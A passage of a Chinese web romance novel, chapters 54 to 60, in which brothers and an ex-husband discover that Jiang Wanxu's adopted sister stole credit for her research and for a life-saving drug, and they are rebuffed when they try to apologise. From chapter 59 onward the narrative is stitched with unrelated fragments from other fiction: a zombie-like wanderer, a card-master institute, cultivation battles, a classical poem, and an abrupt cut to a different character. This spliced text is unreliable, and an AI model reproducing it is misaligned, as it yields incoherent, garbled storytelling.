他知道江芊妤蠢,却没想到她蠢到这个地步。
主动把脸伸出去,让别人打。
还顺便,把他这个丈夫,也一起拉下水,公开处刑。
他想起了当初。
江晚絮红着眼睛,拿着备份硬盘求他相信她,说数据是被人恶意删除了。
而他,却冷漠地挥开她的手。
“够了,江晚絮,输了就是输了,别给自己找借口,真难看。”
原来,最难看的,是他自己。
他不仅是个瞎子,还是个帮凶。
亲手,毁掉了自己爱人的事业和清白。
“叮铃铃——”
电话响起。
是江芊妤。
叶寒看着那个跳动的名字,胃里一阵翻江倒海般的恶心。
他毫不犹豫地,按下了挂断键。
第一卷 第54章 等待一个最看不起的人
江芊妤的电话,被叶寒毫不留情地挂断。
听着手机里传来的“嘟嘟”忙音,她脸上的血色,一瞬间褪得干干净净。
她不信邪,又拨了过去。
这一次,回应她的,是冰冷的机械女声。
【对不起,您拨打的用户正在通话中……】
江芊妤猛地将手机砸向墙壁!
“啊啊啊啊——!!”
尖锐的嘶吼,响彻了叶家空旷的别墅。
叶寒……他竟然拉黑了她!
他怎么敢?!
他怎么敢这么对她!
愤怒过后,是深入骨髓的恐慌。
她失去了江家,现在,连叶寒这最后一根救命稻草,也要失去了吗?
江芊妤像是疯了一样,冲出别墅,发动了车子。
她为叶寒付出了那么多,她才是他的挚爱!
他怎么可以……怎么可以因为江晚絮那个贱人,就这样抛弃她?!
然而,她刚开出别墅区,就被保安拦了下来。
“江小姐,抱歉,叶总吩咐过,您不能离开这里。”
江芊妤不敢置信地瞪大了眼睛。
“你说什么?他凭什么软禁我!”
保安面无表情,语气却十分恭敬。
“叶总说,您最近情绪不稳,需要静养。”
“另外,您的所有银行卡和信用卡,都已经被冻结了。”
江芊妤只觉得一道天雷,狠狠劈在了她的天灵盖上。
软禁?
冻结资产?
叶寒这是要……把她养成一个彻头彻尾的废物?一个只能依附他才能活下去的金丝雀?
巨大的羞辱感,让她浑身发抖。
另一边。
全网的舆论风暴,也彻底席卷了江家。
江氏集团的股票,一开盘就直接跌停。
门口堵满了前来讨债的供应商和情绪激动的股民。
“江家!还我血汗钱!”
“骗子!无良企业!滚出京市!”
鸡蛋、烂菜叶,不要钱似的往那块曾经象征着荣耀的“江氏集团”牌匾上砸。
江明宇看着手机上那些不堪入目的辱骂,气得额头青筋暴跳。
“砰!”
他一拳砸在办公桌上,震得文件簌簌落下。
他怎么也没想到,自己那个一向会装可怜博同情的妹妹,会蠢到这种地步。
主动把脸凑上去,让全世界的人来打!
现在好了,整个江家,都成了她的陪葬品!
“咚咚咚。”
办公室的门被敲响。
秘书脸色惨白地走了进来。
“二……二少……”
“说!”江明宇没好气地吼道。
秘书吓得一哆嗦,颤抖着声音开口。
“刚才……天鸿科技的李总打电话来,取消了和我们的合作项目。”
“还有,风华资本那边,也撤回了对我们新项目的投资意向……”
“城南那块地皮,银行……银行也决定收回了……”
一个又一个的坏消息,像是一记记重锤,狠狠砸在江明宇的心上。
这些,可都是江氏最后的命脉了!
一旦断了,江氏……就真的完了。
江明宇颓然地跌坐在椅子上,眼里的怒火,渐渐被绝望所取代。
为什么?
为什么会这样?
明明前不久,江氏还是一片欣欣向荣。
明明……
一个念头,不受控制地从他脑海里冒了出来。
江晚絮。
如果是江晚絮在……
这个念头一出现,就被他狠狠掐断。
不可能!
他怎么能去指望那个冷血无情的白眼狼!
可是……
除了她,现在还有谁能救江家?
顾彦廷……
那个站在京市金字塔顶端的男人。
如今,是江晚絮的靠山。
只要江晚絮一句话,别说是天鸿科技,就算是比天鸿再大十倍的公司,也得乖乖回来求着跟江氏合作。
江明宇的内心,在激烈的天人交战。
尊严,和江家的存亡,在他脑子里来回拉扯。
最终,现实压倒了一切。
他咬了咬牙,像是下定了某种决心,猛地站了起来。
“备车!去方舟研究院!”
方舟研究院。
坐落在京市最寸土寸金的科研园区。
这里,汇聚了全国最顶尖的智慧大脑。
江明宇站在研究院气派的大门前,第一次感觉到了自己的渺小。
这里和他想象中那种死气沉沉的研究所完全不同。
现代化的建筑,来来往往的年轻面孔,每个人脸上都洋溢着自信与朝气。
那是一种,他从未在江晚絮脸上见过的神采。
他深吸一口气,压下心底那股莫名的烦躁,硬着头皮走了进去。
“您好,请问您找谁?”
前台小姐姐的声音甜美,笑容标准。
江明宇扯出一个僵硬的笑容。
“我找江晚絮,我是她二哥。”
他特意加重了“二哥”两个字,以为能得到一些特殊待遇。
然而,前台小姐姐只是公式化地点了点头。
“好的,请问您有预约吗?”
“……没有。”
“那不好意思先生,没有预约的话,我需要先跟江博士的助理确认一下。”
前台小姐姐拿起电话,低声沟通了几句,然后挂断。
她抱歉地对江明宇笑了笑。
“不好意思江先生,江博士现在正在一个很重要的会议上,暂时不方便见客。”
“您可以先到旁边的会客室稍等片刻,或者留下联系方式,我们之后再联系您。”
江明宇的脸,瞬间就黑了。
他江家二少,什么时候受过这种怠慢?!
他一下子就忘记了自己来找江晚絮的最终目的,下意识地就吼了起来。
“你知不知道我是谁?让我等?她江晚絮好大的架子!”
他压抑着怒火,声音不自觉地提高了几分。
前台小姐姐的笑容依旧标准,但眼神里,已经带上了一丝疏离。
“抱歉先生,这是研究院的规定,对所有访客都一视同仁。”
“如果您要在这里大声喧哗的话,我只能请保安过来了。”
一句话,噎得江明宇哑口无言。
最终,他还是憋着一肚子火,被请进了会客室。
会客室很宽敞明亮。
江明宇烦躁地扯了扯领带,在沙发上坐了下来。
等待是最磨人的。
尤其,是等待一个他曾经最看不起的人。
他百无聊赖地环顾四周,目光最终落在了书架上。
大部分都是他看不懂的外文书籍。
但在书架的最下层,几本厚厚的、用牛皮纸包着封面的医学古籍,吸引了他的注意。
那几本书,明显被主人频繁翻阅过,书角都起了毛边。
他鬼使神差地站起身,走了过去。
随手抽出一本,翻开。
里面,是密密麻麻的蝇头小楷做的注释。
字迹清秀,却又透着一股力道。
是江晚絮的字。
他一眼就认了出来。
江明宇皱了皱眉,心里没来由地一阵烦闷。
第一卷 第55章 对不起,我错了
此时的江明宇,依然下意识地会否定江晚絮。
装模作样。
一个搞生物制药的,看什么中医古籍。
他正想把书塞回去,目光却被书旁边夹着的一沓手稿给吸引了。
那是一沓已经泛黄的研究手稿。
纸张的边缘,有些脆弱。
看样子,有些年头了。
上面画着复杂的分子结构图,还有一长串他看不懂的分析数据。
然而,在手稿的最上方,一行标题,却引起了他的注意。
【关于‘紫血草’活性成分提取及人工合成路径分析报告】
紫血草……
这个名字,像是一把生锈的钥匙,猛地撬开了一段被他刻意尘封的记忆。
五年前。
他因为一场恶性飙车事故,内脏大出血,几度被下病危通知书。
医生说,他体内的一种罕见的凝血因子缺失,常规药物根本不起作用。
唯一的希望,是一种名为“紫血草”的特效药。
但那种药,市面上根本找不到。
就在所有人都以为他死定了的时候。
江芊妤,像个天使一样,带着那支救命的药,出现在了他的病房。
他醒来后,问她药是怎么来的。
她只是含糊地说,是她求了好多人,托了好多关系,才从一个隐居的老教授手里求来的。
当时,他感动得无以复加,觉得这个妹妹,真是他的小福星。
而江晚絮呢?
她从头到尾,只来看过他一次。
还是在他脱离危险之后。
那天,她看起来很憔悴,眼下一片乌青,像是几天几夜没合眼。
他当时是怎么对她的?
哦,对了。
他嫌恶地看着她,让她滚。
“我出车祸的时候,你在哪里?现在我好了,你倒跑来假惺惺了?”
“江晚絮,我告诉你,我江明宇只有芊妤一个妹妹!你少在我面前碍眼!”
现在想来……
江芊妤语焉不详的解释……
江晚絮那不正常的憔悴……
他记得,那天江晚絮的手上,似乎沾着一股……淡淡的,却又十分独特的草药味。
江明宇的手,开始不受控制地颤抖起来。
他一页一页地翻看着那沓手稿。
从药理分析,到成分提取,再到一次又一次失败的合成实验记录……
最后,是成功的合成路径。
手稿的最后一页,记录着日期。
正是他车祸后,昏迷不醒的那几天!
原来……
原来当年,真正救了他的人……
不是江芊妤。
是江晚絮!
“咔哒。”
会客室的门,被推开了。
江晚絮穿着一身白色的实验服,走了进来。
她似乎刚从实验室出来,身上还带着一丝清冷的消毒水气息。
看到江明宇,她没什么表情,只是淡淡地点了点头。
“找我什么事?”
她的声音,平静得像是一潭死水,听不出任何情绪。
江明宇双眼赤红,死死地盯着她,手里的手稿被他捏得变了形。
“这个……”
他的声音,嘶哑得不成样子。
“这些手稿……是你的?”
江晚絮的目光,淡淡地从那沓手稿上瞥过,平静地陈述。
“嗯。”
一个字,轻飘飘的。
却像是一座山,狠狠压在了江明宇的心上。
他不死心地追问。
“为什么……上面写的是‘紫血草’?”
江晚絮终于抬起眼,正视着他,眼神里带着一丝不易察觉的讥诮。
“不然呢?”
“你以为,五年前那支救了你命的药,是江芊妤哭来的?”
江晚絮看着他,唇角勾起一抹冰冷的弧度。
“当年为了分析那株药材的有效成分和替代方案,我在实验室熬了三天三夜,失败了上百次,差点把导师的实验室给炸了。”
“可惜……”
她顿了顿,才继续,“最后在你面前邀功领赏的人,不是我。”
江明宇如遭雷击,踉跄着后退了一步,撞在了身后的书架上。
书架上的书籍,哗啦啦地掉了一地。
而他,却浑然不觉。
所有的侥幸,在这一刻,被击得粉碎。
无尽的愤怒,从心底涌了上来。
他愤怒于江芊妤的窃取和欺骗!
那个他疼了二十多年的妹妹,竟然是一个如此卑劣无耻的骗子?
可比愤怒更强烈的,是痛恨。
是对自己愚蠢的痛恨。
这些年来,他是怎么对江晚絮的?
拳打脚踢,恶语相向。
他把她当成仇人,当成眼中钉,肉中刺。
可他却不知道,他这条命,都是他最恨的这个人,从鬼门关里拉回来的!
他都干了些什么啊!
“噗通”一声。
江明宇双腿一软,竟然直直地跪了下去。
他哽咽着,声音里是无尽的悔恨与痛苦。
“晚絮……对不起……”
“对不起……是我错了……”
“是我瞎了眼!是我被江芊妤那个贱人蒙蔽了……”
他以为,这声嘶力竭的道歉,至少能换来江晚絮一丝一毫的动容。
然而,江晚絮只是居高临下地看着他,眼神冰冷如霜。
“江明宇,收起你那廉价的道歉。”
她开口,声音不大,却字字诛心。
“所谓的被蒙蔽只不过是借口。”
江晚絮打断了他。
“根本原因,是你心里早就认定,我是个不值得信任的外来者,而江芊妤,才是你们娇弱的、需要被保护的自己人。”
“所以,她说什么,你都信。”
“我做什么,你都觉得是别有用心。”
江明宇的哭声,戛然而止。
他愣愣地看着江晚絮,像是第一次认识她一样。
江晚絮缓缓地,一步一步地,走到他的面前。
她蹲下身,与他平视。
那双曾经总是躲闪着他的眼睛,此刻,清澈而又锐利,仿佛能看透他灵魂深处。
“你们享受着居高临下,施舍给我那个‘家人’的身份,享受着对我呼来喝去,随意打骂的快感。”
“却从未想过,要给我与她,哪怕一丝一毫平等的信任和尊重。”
“江明宇,你打我的时候,可曾想过‘蒙蔽’?”
“你污蔑我偷东西,把我关在地下室的时候,可曾想过‘蒙蔽’?”
“你和江明泽一起,把我推下楼梯,害我差点摔死的时候,可曾想过‘蒙蔽’?!”
第一卷 第56章 到底为什么?
江晚絮每问一句,江明宇的脸色,就更白一分。
那些他以为早已被遗忘的罪恶,被她一件一件地,重新摊开在了阳光下。
让他无处遁形。
江晚絮站起身,重新恢复了那种高高在上的疏离感。
“你的道歉,不是因为你真的认识到了自己的错误。”
“是你现在发现,我这个曾经被你们踩在脚下的‘弱者’,并非一无是处。”
“甚至,比你们想象的更强。”
“你发现,我能轻易得到你们汲汲营营,却求而不得的东西。”
“所以你怕了,你后悔了。”
她轻笑一声,那笑声里,充满了无尽的嘲讽。
“这种基于势利的悔悟,我不需要。”
“而你,江明宇……”
她的目光,落在他那张悔恨交加的脸上,然后,她说出了最后一句话。
“也根本,不值得被原谅。”
说完,她不再看他一眼,转身,头也不回地走出了会客室。
只留下江明宇一个人,像条被抽掉了脊梁骨的狗一样,瘫跪在冰冷的地板上。
是啊。
他从来就没信过江晚絮。
从她被接回江家的第一天起,他就讨厌她。
讨厌她那身洗得发白的旧衣服,讨厌她那副沉默寡言的穷酸样,讨厌她那双总是带着戒备和疏离的眼睛。
他觉得,她配不上“江”这个姓。
她是个外人,是个闯入者。
是个……随时会抢走属于他们一切的敌人。
所以,无论江芊妤做什么,在他眼里都是天真可爱。
而江晚絮,连呼吸都是错的。
江明宇不知道自己是怎么离开方舟研究院的。
他失魂落魄地走在园区里,阳光刺眼,他却觉得浑身冰冷。
周围是来来往往的科研人员,他们谈笑风生,讨论着他听不懂的学术问题。
就在这时。
一辆黑色的法拉利,在他身边缓缓停下。
车窗降下,露出一张俊美如神祇的脸。
是顾彦廷。
顾彦廷的目光,在他身上淡淡扫过,那眼神,带着一种与生俱来的压迫感和……毫不掩饰的厌恶。
江明宇下意识地,挺直了脊背。
在顾彦廷面前,他那点可怜的自尊,让他不想表现得太过狼狈。
顾彦廷却连个多余的眼神都懒得给他。
他只是拿出手机,拨通了一个电话。
语气,是他从未听过的,温柔缱绻。
“絮絮,我到楼下了。”
“嗯,不急,你慢慢来。”
“想吃什么?今天带你去吃那家新开的私房菜,好不好?”
江明宇僵在原地,听着电话里那个男人温柔的低语,只觉得心脏像是被一只无形的大手,狠狠攥住。
絮絮……
他叫她,絮絮。
那是他从来没有叫出口过的,亲昵的称呼。
很快,研究院的大门里,走出了那个熟悉又陌生的身影。
江晚絮换下了一身白大褂,穿着一件简单的米色风衣,长发披散在肩头。
阳光下,她的皮肤白得近乎透明,整个人都散发着柔和的光。
看到顾彦廷的车,她眼底的冰霜,瞬间融化。
唇角漾开了一抹浅浅的,却又真实无比的笑意。
她快走几步,拉开车门,坐了进去。
从头到尾,她都没有再看江明宇一眼。
顾彦廷伸手,自然而然地帮她理了理被风吹乱的碎发,动作轻柔。
“累不累?”
“还好。”江晚絮摇摇头,声音里带着一丝依赖。
“就是见了只苍蝇,有点烦。”
顾彦廷低笑一声,揉了揉她的头。
“没事,我让林舟准备好了杀虫剂。”
“保证以后再也不会有苍蝇,敢飞到你面前来嗡嗡叫。”
他们的对话,没有刻意压低声音。
每一个字,都传进了江明宇的耳朵里。
法拉利绝尘而去。
江明宇站在原地,看着那辆车消失在道路的尽头,脸上最后一丝血色,也褪得干干净净。
同一片天空下,叶氏集团的顶层办公室,气氛压抑得仿佛能拧出水来。
叶寒烦躁地扯开领带,将桌上的文件一把扫落在地。
“废物!通通都是废物!”
财务总监战战兢兢地站在一旁,连大气都不敢喘。
“叶……叶总,银行那边已经下了最后通牒,明天中午之前如果资金还不到位,他们就要启动资产清算了……”
叶寒猩红着眼,一脚踹翻了身边的椅子。
“滚!”
财务总监如蒙大赦,连滚带爬地逃了出去。
办公室里,终于只剩下叶寒一个人。
他疲惫地跌坐在沙发上,双手插入发间,痛苦地呻吟出声。
不过短短几天。
叶氏,这个曾经在京市呼风唤雨的商业帝国,竟然已经走到了悬崖边缘。
合作伙伴背弃,银行催债,股价一泻千里,仿佛全世界都在与他为敌。
他这才迟钝地意识到,过去那些年的顺风顺水,究竟是因为什么。
有江晚絮在的时候,他从来不用为这些事情烦心。
她总能用她那颗聪明的脑袋,提前预判风险,悄无声息地为他扫平一切障碍。
公司的财务报表,她看一眼就能指出里面的漏洞。
棘手的合作谈判,她总能找到对方的软肋,为叶氏争取到最大的利益。
就连他偶尔的投资失误,她也能想办法,把损失降到最低。
他把这一切,都当成了理所当然。
甚至,他还嫌弃她太过强势,不懂得像江芊妤那样温柔示弱,让他没有身为男人的成就感。
可现在……
巨轮失去了方向,在风暴中摇摇欲坠,随时都有倾覆的危险。
他才发现,自己不过是个离了她,就什么都不是的废物。
而且,自从江芊妤住进叶家,那栋曾经被江晚絮打理的井井有条的别墅,就变得一团糟。
佣人换了一批又一批,没一个能待得长久。
江芊妤只会撒娇和消费,心情不好就摔东西,家里总是乱糟糟的。
再也没有人会在他深夜回家时,为他留一盏灯,端上一碗热气腾腾的汤面。
也再也没有人会在他生病时,整夜不睡地守在他床边,为他物理降温,轻声安抚。
那个家,已经没有了丝毫的温度。
叶寒痛苦地闭上眼。
为什么?
为什么他会把一颗真心,狠狠踩在脚下,弃如敝履?
第一卷 第57章 他就是个跳梁小丑
叶寒站起身,像是要寻找什么慰藉一般,拉开了书房里一个尘封已久的抽屉。
这是江晚絮以前用过的抽屉。
离婚后,他让人把她的东西都清理了出去,却独独留下了这个抽屉。
连他自己都不知道是为什么。
抽屉里,只有寥寥几件物品。
一支她惯用的钢笔,一本翻得卷了边的专业书籍。
还有一个……藏在最角落的,小小的丝绒盒子。
叶寒的手,微微颤抖着,拿起了那个盒子。
打开,里面静静地躺着一对银色的袖扣。
款式简单大方,是他喜欢的风格。
他记得,这是他们结婚一周年纪念日时,江晚絮送给他的礼物。
当时,江芊妤正好因为“心脏不舒服”住院了。
他陪在江芊妤的病房里,整整一天一夜。
江晚絮给他打电话,他没接。
发信息,他也没回。
等他终于想起那个所谓的“纪念日”,回到家时,已经是第二天深夜了。
江晚絮就坐在黑暗的客厅里,等了他一整夜。
桌上是早已冰冷的饭菜,还有一个小小的蛋糕。
看到他回来,她的眼睛亮了一下,随即又黯淡下去。
她什么都没问,只是把这个盒子递给了他。
“纪念日快乐。”
他当时是怎么做的?
哦,他只是瞥了一眼,就随手把盒子扔进了这个抽屉里。
语气里,是毫不掩饰的厌恶与不耐。
“又是这些不值钱的东西,江晚絮,你就不能有点新意吗?”
“有这个时间,不如多学学芊妤,怎么做一个讨人喜欢的女人。”
他甚至,都没有打开看过一眼。
叶寒的手,抖得更厉害了。
他拿起其中一枚袖扣,翻了过来。
在袖扣的背面,他看到了一行小小的刻字。
——平安顺遂。
简简单单的四个字。
是她对他,最朴素,也最真挚的祝愿。
而他,却用最恶毒的语言,回报了这份祝愿。
他忽然想起他们结婚前夕。
江晚絮被江家人逼得走投无路,给他打了那个电话。
电话接通的那一刻,他听到了她的声音在微微颤抖。
“叶寒……你……你能不能帮帮我?”
“他们要把我嫁给一个五十多岁的暴发户……”
“我不想嫁……你救救我……”
那是她第一次,用近乎哀求的语气,对他说话。
可他,却只觉得可笑。
他当时是怎么回答的?
他靠在沙发上,懒洋洋地晃着手里的红酒杯,语气刻薄到了极点。
“江晚絮,收起你那套惺惺作态的把戏。”
“嫁给我,不也正是你想要的吗?怎么,现在又开始演贞洁烈女了?”
“我告诉你,别耍花样。你要是敢不嫁,我就让整个江家,给你陪葬!”
电话那头,死一般的寂静。
然后,是她低低的,带着泣音的笑声。
那笑声里,充满了无尽的悲凉与……死心。
“好……我知道了。”
挂断电话前,他似乎还听到了一句,轻得像羽毛一样的呢喃。
“原来……你也是这样想我的……”
叶寒忽然就觉得心口疼,疼得几乎无法呼吸。
原来,在那场看似是她处心积虑的婚姻里,她也曾挣扎过,也曾……向他求救过。
“啊啊啊啊——!!”
叶寒发出一声嘶吼,狠狠一拳砸在了坚硬的红木书桌上。
鲜血顺着他的指缝,流淌下来。
他却感觉不到丝毫的疼痛。
任何的疼痛,都比不上此刻心里的万分之一。
不行。
他不能就这么算了。
他要做点什么。
他必须要做点什么来弥补!
叶寒像是疯了一样,他拿起手机,开始拨打电话。
“喂,王局吗?我是叶寒。”
“对,有点事,想请您帮个忙。”
“关于三年前的那个‘青年科技创新奖’……”
“我知道有些为难,但这件事对我很重要!”
他动用了自己手上所剩无几的人脉,甚至不惜许下重利。
他只有一个目的。
把他欠江晚絮的东西,还给她!
那个奖项,他早就知道有猫腻。
获奖的项目,是关于一种新型靶向药的核心研发成果。
江芊妤一个连实验报告都看不懂的草包,怎么可能做得出来?
他只是懒得去追究。
因为那时候,他觉得江晚絮的一切,都该是江芊妤的。
现在,他要把这份本该属于她的荣耀,还给她。
他要让所有人都知道,他叶寒,知错了。
他要让她看到,他正在努力弥补。
他以为,这至少能让她……回头看他一眼。
两天后。
一则重磅新闻,引爆了整个京市的科技圈和舆论场。
【‘青年科技创新奖’组委会发布官方声明,三年前获奖者信息有误,现予以更正,该奖项真正得主为方舟研究院江晚絮博士!】
【惊天内幕!江氏千金江芊妤冒名顶替,窃取亲姐姐科研成果长达三年之久!】
【从弃妇到天才科学家,江晚絮的逆袭之路!】
新闻铺天盖地而来。
组委会的官方澄清声明,被各大媒体高高挂在了头版头条。
叶氏集团的公关部,更是以前所未有的高效率,将这件事的热度,推向了顶峰。
叶寒坐在办公室里,死死地盯着手机屏幕。
他在等。
等江晚絮的反应。
哪怕是一个质问的电话,一条愤怒的短信,都好。
那至少证明,她还在意。
然而,他等来的,却不是江晚絮的任何私人回应。
而是……
方舟研究院官方账号,发布的一则简短到近乎冷酷的声明。
【声明:感谢组委会的公正裁决,还原事实真相。荣誉属于过去,江晚絮博士本人更专注于当下及未来的研究工作。另,恳请各界媒体及无关人士,勿再以过往无关之事打扰,谢谢合作。】
短短几行字,没有丝毫的个人情绪。
官方,冷静,疏离。
仿佛在陈述一件,与自己毫不相干的事情。
“无关之事……”
“无关人士……”
叶寒反反复复地咀嚼着这几个字,忽然低低地笑了起来。
笑着笑着,眼泪就掉了下来。
他所以为的深情弥补,他费尽心机搞出来的盛大正名,在江晚絮眼里,不过是一场跳梁小丑的惺惺作态。
一场……与她无关的闹剧。
她早就站在了云端之上,又怎么会在意,他这个凡夫俗子,从泥潭里捡起来的一颗,早已被她丢弃的石子?
她不需要了。
她再也不需要他给的任何东西了。
无论是伤害,还是……所谓的弥补。
“啪嗒。”
手机从他无力的手中滑落,摔在地上,屏幕瞬间碎裂。
就像他那颗,同样支离破碎的心。
第一卷 第58章 究竟错过了什么
江家的气氛,比叶氏集团还要压抑。
江明宇自从从方舟研究院回来,就把自己关在房间里,不吃不喝,不与任何人交流。
直到今天,他才像一具行尸走肉般走了出来。
客厅里,江明泽正焦躁地来回踱步。
看到江明宇,他立刻迎了上来,劈头盖脸就是一顿指责。
“你去哪了?!公司都快倒了,你还有心思玩失踪?!”
“我让你去找江晚絮,你到底去没去?她怎么说?!”
江明宇抬起一双布满血丝的眼睛,死死地盯着他。
那眼神,陌生而又冰冷,让江明泽没来由地一阵心悸。
“大哥。”
江明宇开口,声音嘶哑。
“我问你一件事。”
“五年前,我出车祸,那支救了我命的‘紫血草’特效药,到底是怎么回事?”
江明泽的脸色,瞬间一变。
他眼神闪躲,不敢去看江明宇的眼睛。
“你……你问这个干什么?不是芊妤托人找来的吗?”
“托人?”
江明宇发出一声凄厉的冷笑。
“是托江晚絮吗?!”
“是江晚絮在实验室里熬了三天三夜,失败了一百多次,才拼死拼活合成出来的吗?!”
“是她救了我,然后江芊妤拿着她的心血,跑到我面前来邀功领赏的吗?!”
江明宇越说越激动,一把揪住了江明泽的衣领,双目赤红。
“你告诉我!你是不是也知道?!你们是不是都合起伙来骗我?!”
江明泽被他的样子吓到了,脸色惨白。
“我……我不知道……”
“你不知道?!”
江明宇像是听到了天大的笑话。
“江明泽!你可是高材生!是研究员!江芊妤那点脑子,她能搞出那种药?你当时就没怀疑过吗?!”
“还是说,在你心里,也跟我一样,觉得江晚絮是个外人,根本不配有这样的功劳?!”
江明泽被他吼得哑口无言。
是啊。
他怎么可能没有怀疑过。
只是……
他下意识地,就选择了相信那个会哭会闹,会向他撒娇的芊妤。
而那个永远沉默着,眼神里带着倔强和疏离的江晚絮,无论做什么,在他看来,都是别有用心。
兄弟俩的争吵声,惊动了楼上的江父和柳芸。
当他们听完整件事的来龙去脉后,整个江家,都陷入了一片死寂。
对江芊妤的埋怨和怀疑,第一次被血淋淋地摆上了台面。
江芊妤敏锐地察觉到了家里的变化。
他打电话给妈妈,想要寻求帮助,结果电话那头竟然支支吾吾唉声叹气。
她甚至听到了大哥和二哥的质问声。
叶寒那边,更是彻底断了联系。
电话拉黑,微信不回。
她就像一只被关在笼子里的鸟,所有的羽毛都被拔光了。
极度的恐慌,让她变得越来越歇斯底里。
她不能就这样坐以待毙。
她必须去找叶寒!
她才是他的挚爱!他不能不要她!
江芊妤趁着所有人不注意,偷偷从叶家别墅的后门跑了出去,打车直奔叶氏集团。
公司大楼下,一片混乱。
但江芊妤已经顾不了那么多了。
她疯了一样,冲进了大楼,一路畅通无阻地来到了顶层。
叶寒的办公室门,虚掩着。
她刚想推门进去,就听到里面传来了叶寒疲惫不堪的声音。
他似乎在和谁打电话。
“……是啊,栽了个大跟头。”
“我现在最后悔的,就是当初没能擦亮眼睛……”
“要是……要是当初没被蒙蔽双眼就好了……”
“我才知道,谁才是那个真正对我好的人……”
那一声叹息,充满了无尽的悔恨与意难平。
江芊妤浑身的血液,瞬间凝固了。
蒙蔽双眼?
后悔了?
他后悔选择了她?!
江芊妤推开门,冲了进去。
“叶寒!!”
她歇斯底里地尖叫着。
“你后悔了?!你现在说你后悔了?!”
“当初是你自己选择我的!是你亲口说你爱的是我!不是江晚絮!”
“那个贱人有什么好!她到底给你灌了什么迷魂汤!”
“她不过就是个水性杨花的贱货!现在攀上了高枝,你以为她还会回头看你一眼吗?!”
她像是疯了一样,冲到叶寒的办公桌前,将上面的文件、电脑、摆件,一股脑地全部扫落在地!
噼里啪啦的破碎声,响彻了整个办公室。
叶寒被这突如其来的变故惊得愣住了。
等他反应过来,江芊妤已经开始砸他书架上的古董摆件。
“你现在知道她好了?晚了!!”
“我告诉你!我得不到的!她也别想得到!”
办公室外的员工们,听到动静,纷纷围了过来,对着里面指指点点,满脸的震惊与鄙夷。
叶寒的脸,瞬间黑成了锅底。
他所有的颜面,又一次被江芊妤撕得粉碎。
他心底对她最后的一丝怜悯和耐心,也彻底消耗殆尽。
“保安!”
叶寒的声音,冷得像是从冰窖里捞出来的。
“把这个疯女人,给我拖出去!”
两个保安立刻冲了进来,一左一右地架住了还在疯狂撒泼的江芊妤。
“放开我!你们放开我!”
“叶寒!你不能这么对我!你不能这样!”
叶寒看都没看她一眼,只是冷冰冰的,吐出了最后一句话。
“江芊妤,我们都需要冷静一下。”
“近期,不要再见面了。”
江芊妤的哭喊声,戛然而止。
她不敢置信地看着那个男人冷酷的侧脸,像是被人抽走了所有的力气。
就在她被保安拖着,经过办公室门口的时候,她看到了两个熟悉的身影。
是江明泽和江明宇。
他们不知何时赶到了这里,正一脸震惊地,看着眼前这片狼藉,和她此刻不堪入目的狼狈模样。
那一瞬间,江芊妤所有的伪装,都被剥得干干净净。
她不再是那个娇弱善良、需要被保护的小公主。
而是一个面目狰狞、歇斯底里的疯子。
江明泽和江明宇站在一片狼藉的办公室外,看着被拖走的、犹如丧家之犬的妹妹,又看了看办公室里,那个满脸厌恶与决绝的男人。
两人面面相觑。
那个他们用尽一切去偏袒、去守护的妹妹,亲手毁了自己的一切,也毁了江家的一切。
而那个被他们弃如敝履、肆意伤害的姐姐……
此刻,却正站在他们永远无法企及的高度,享受着本该属于他们的,无上荣光。
他们……
究竟都错过了什么啊。
第一卷 第59章 她想赖账
两周后。
京市最顶级的七星级酒店,“星辰之巅”宴会厅。
一场备受瞩目的商业酒会正在这里举行。
主角,是刚刚声名鹊起的“晚星科技有限公司”。
而公司的创始人,正是前段时间引爆全网舆论的江晚絮。
摸了摸头上被撞出来的包,拍了怕身上的尘土继续面无表情的晃悠着,就如那毫无意识的丧尸一般。
这个研究所的所长并不是刚才那个四星卡修,相反所长只是个三星级的制卡师,不过他手中有很大的权利。包括调动艾尔市的部分武装力量,万一这个盗贼逃跑了,还需要外界的帮助。
星空,从来都是人类所向往的地方,世界上最伟大的,就是人类的美德,以及头顶的星空。浩瀚无垠,璀璨无比。
卓雄回身质问道:“你胡说什么?你的眼睛怎么了?”卓雄突然看见玄的眼睛有些不对劲了。
下一息,随着蓝色锁链的没入,两名练气九层修士身上的灵光立即黯淡消失了下来,同时他们感到自己体内的灵力居然被封印住了,根本无法运转。
她脑子有些不清楚,好半天才搞清楚她正在自己的床上,锦被罗帐,红烛焚香。
事实证明,她成功的拿到了一颗妖丹,还是一枚中阶凶兽的妖丹,这在以前,是她根本不敢想的。
凌轩知道需要选拔出最优秀的十人,如今人数已达上限,所以定会再淘汰三人,只是不知道形式和规则是什么。
内宫中一处殿宇里充满着花香,明媚的阳光洒在摆放着花卉盆栽,一副祥和愉悦之态。殿前高高挂着的楠木匾额之上洋洋洒洒地提了三个大字“花音殿”。
我也懒得和这个臭道士多说,也没什么自己要做的,便看着轻灵在前面清理一些杂碎。
“好。”夏侯策目光宠溺地看着她,似乎任她说什么都会答应一般。
落秋城的水家,即便时间过去了半月之久,但是冷月依稀记得,当初水无忧说过,朱砂泪出自水家,难不成他们二者之间还有什么联系。
徐北望心里乐开了花,表情却很严肃凝重,用神光勾勒一个个名字和仙药数目。
浩浩荡荡的大军在封城中肆无忌惮的激进着,途径街道两边的商铺,不少士兵立刻打砸抢烧,一副贼匪的面孔。京城内仿佛瞬间就沦陷,躲在家里的百姓,听着街道上传来震天的脚步声和喊声,纷纷哀叹好日子到头了。
还没靠近大门,远远的,顾恋和李纯年都发现了佩月月在门前张望等待的身影。
凌景苦笑,在寒夜堪比帝王,三国一手遮天又怎样,在人家帝堇国面前,他知道自己几斤几两,能让人家承认是驸马,已经是很好了。
至于这上面关于风雨寒的描述,他只是随意地扫了一下,暗暗摇头。很显然,对于风雨寒的能力记载并不全面,尤其是实力。
辰星抬起头,盥洗池前的大镜子里,映出一张满满诠释着那四个大字的感慨的容颜。即使满面悔不当初的表情,也无法遮盖住那是一张属于帅哥的脸的事实。
自己,应该被那向远的师尊发现了,后果是什么,林奕已来不及考虑,想跑,已经不可能了。
寂寞避暑离宫,东风辇路,芳草年年发。落日无人松径里,鬼火高低明灭。歌舞樽前,繁华镜里,暗换青青发。伤心千古,秦准一片明月。
第一卷 第60章 把她给我扔出去
合同的抬头,是一个全球顶尖的跨国医药集团——“诺华制药”。
而合同的内容,是“晚星科技”向“诺华制药”进行核心技术授权,首期授权金,高达五千万……美金。
全场倒吸一口凉气。
所有人都被这个数字,震得头皮发麻。
五千万美金……
没等众人从震惊中回过神来,屏幕上的画面,再次切换。
刘家豪正在兢兢业业地当掌堂,这段时间因为生意不错,所以他还是挺忙的。
